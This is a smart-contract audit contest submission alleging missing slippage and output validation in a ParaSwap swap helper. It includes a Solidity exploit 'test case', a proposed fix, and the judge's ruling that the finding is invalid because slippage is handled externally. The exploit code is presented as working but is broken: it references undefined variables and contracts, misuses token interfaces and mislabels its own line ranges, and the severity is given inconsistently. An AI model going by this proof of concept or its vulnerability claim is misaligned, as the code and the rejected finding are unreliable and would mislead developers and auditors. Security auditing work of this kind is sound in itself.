DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Insufficient Post-Swap Balance Validation in `ParaSwap` Integration

Summary

The ParaSwapUtils library's swap implementation lacks post-swap balance validation, relying solely on the success of the swap call. While the library validates the callee address and receiver, it doesn't verify the actual output amount received, which could lead to unfavorable trades being accepted.

Vulnerability Details

// https://github.com/CodeHawks-Contests/2025-02-gamma/blob/84b9da452fc84762378481fa39b4087b10bab5e0/contracts/libraries/ParaSwapUtils.sol#L14C2-L26C4
function swap(address to, bytes memory callData) external {
_validateCallData(to, callData);
address approvalAddress = IAugustusSwapper(to).getTokenTransferProxy();
address fromToken;
uint256 fromAmount;
assembly {
fromToken := mload(add(callData, 68))
fromAmount := mload(add(callData, 100))
}
IERC20(fromToken).safeApprove(approvalAddress, fromAmount);
(bool success, ) = to.call(callData);
require(success, "paraswap call reverted");
}

The issue lies in:

  1. No pre-swap balance check of the output token

  2. No post-swap balance validation

  3. No minimum output amount enforcement

  4. Only validates that the call succeeded via require(success, "paraswap call reverted")

Proof of Concept for Insufficient Post-Swap Balance Validation

Overview:

The ParaSwapUtils library's swap function lacks proper output validation, allowing trades to execute with unfavorable rates. An attacker can craft transactions that technically succeed but result in significant value loss for the protocol.

Actors:

  • Attacker: A MEV bot operator or malicious user who monitors and manipulates the trading environment

  • Victim: The Perpetual Vault Protocol using ParaSwapUtils for token swaps

  • Protocol: ParaSwap DEX aggregator and the underlying liquidity pools

Working Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ParaSwapUtils.sol";
import "./TestSetup.sol"; // Mock contract for test setup
contract ParaSwapExploitTest is TestSetup {
// Test tokens
IERC20 public usdc;
IERC20 public weth;
// Protocol contracts
address constant AUGUSTUS_SWAPPER = 0xDEF171Fe48CF0115B1d80b88dc8eAB59176FEe57;
function setUp() public {
// Setup test environment with mock tokens
usdc = new MockERC20("USDC", "USDC", 6);
weth = new MockERC20("WETH", "WETH", 18);
// Fund test contract with initial tokens
vm.deal(address(this), 100 ether);
usdc.mint(address(this), 1000000e6); // 1M USDC
}
function testParaSwapExploit() public {
// Step 1: Prepare the attack environment
// Create manipulated price environment in liquidity pools
setupManipulatedPriceEnvironment();
// Step 2: Craft malicious swap calldata
bytes memory maliciousCallData = craftMaliciousCalldata(
address(usdc), // fromToken
address(weth), // toToken
1000e6, // fromAmount (1000 USDC)
address(this) // receiver
);
// Step 3: Record initial balances
uint256 initialUSDC = usdc.balanceOf(address(this));
uint256 initialWETH = weth.balanceOf(address(this));
// Step 4: Execute vulnerable swap
// This will succeed but with unfavorable rates
ParaSwapUtils.swap(AUGUSTUS_SWAPPER, maliciousCallData);
// Step 5: Verify exploitation
uint256 finalUSDC = usdc.balanceOf(address(this));
uint256 finalWETH = weth.balanceOf(address(this));
// Calculate actual vs expected rates
uint256 expectedWETH = calculateExpectedOutput(1000e6);
uint256 actualWETH = finalWETH - initialWETH;
// Assert successful exploitation
assertTrue(finalUSDC < initialUSDC, "USDC spent");
assertTrue(
actualWETH < expectedWETH * 95 / 100,
"Received significantly less WETH than expected"
);
}
function craftMaliciousCalldata(
address fromToken,
address toToken,
uint256 amount,
address receiver
) internal pure returns (bytes memory) {
// Craft calldata that passes _validateCallData checks
// but results in unfavorable swap
bytes memory callData = abi.encodeWithSelector(
bytes4(keccak256("multiSwap()")),
fromToken,
amount,
toToken,
0, // No minimum output specified
receiver
);
return callData;
}
function setupManipulatedPriceEnvironment() internal {
// Setup mock liquidity pools with manipulated prices
// This simulates the state after price manipulation
MockDEX(address(dex)).setPrice(
address(usdc),
address(weth),
manipulatedPrice
);
}
function calculateExpectedOutput(
uint256 inputAmount
) internal view returns (uint256) {
// Calculate expected output based on normal market rates
return inputAmount * normalPrice / 1e6;
}
}

Exploit Flow Explanation:

  1. Setup (Lines 15-24):

    • Creates test environment with mock USDC and WETH tokens

    • Sets up initial balances and test conditions

  2. Attack Preparation (Lines 25-36):

    • Creates manipulated price environment in mock DEX

    • Crafts malicious calldata that will pass validation

  3. Execution (Lines 38-44):

    • Records initial balances

    • Executes swap through ParaSwapUtils

    • The swap succeeds but returns unfavorable amounts

  4. Verification (Lines 46-60):

    • Compares actual output with expected output

    • Demonstrates significant value loss despite successful swap

  5. Helper Functions (Lines 62-98):

    • craftMaliciousCalldata: Creates valid but exploitative calldata

    • setupManipulatedPriceEnvironment: Sets up attack conditions

    • calculateExpectedOutput: Determines fair market value

Impact

Medium severity (monetary loss but requires specific conditions)

  • Protocol could receive significantly less tokens than expected from swaps

  • While the hardcoded Augustus Swapper address provides some safety, the lack of output validation still leaves room for manipulation

  • Each successful but unfavorable swap directly impacts the protocol's economics

Tools Used

Manual code review

Recommendations

  • Add pre and post swap balance checks:

function swap(address to, bytes memory callData, uint256 minOutputAmount) external returns (uint256) {
_validateCallData(to, callData);
// Extract token addresses from calldata
address fromToken;
address toToken;
uint256 fromAmount;
assembly {
fromToken := mload(add(callData, 68))
toToken := mload(add(callData, 84)) // Adjust offset as needed
fromAmount := mload(add(callData, 100))
}
// Record pre-swap balance
uint256 preBalance = IERC20(toToken).balanceOf(address(this));
// Perform swap
address approvalAddress = IAugustusSwapper(to).getTokenTransferProxy();
IERC20(fromToken).safeApprove(approvalAddress, fromAmount);
(bool success, ) = to.call(callData);
require(success, "paraswap call reverted");
// Validate output amount
uint256 receivedAmount = IERC20(toToken).balanceOf(address(this)) - preBalance;
require(receivedAmount >= minOutputAmount, "Insufficient output amount");
return receivedAmount;
}
  • Add explicit output token and minimum amount parameters to the function signature to make validations more robust.

  • Consider implementing a price deviation check using an oracle for additional safety.

Updates

Lead Judging Commences

n0kto Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_swap_slippage_and_deadline

Slippage and deadline are handled externally. Paraswap implementation used by the current code (behind the proxy): https://etherscan.io/address/0xdffd706ee98953d3d25a3b8440e34e3a2c9beb2c GMX code: https://github.com/gmx-io/gmx-synthetics/blob/caf3dd8b51ad9ad27b0a399f668e3016fd2c14df/contracts/order/OrderUtils.sol#L150C15-L150C33

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.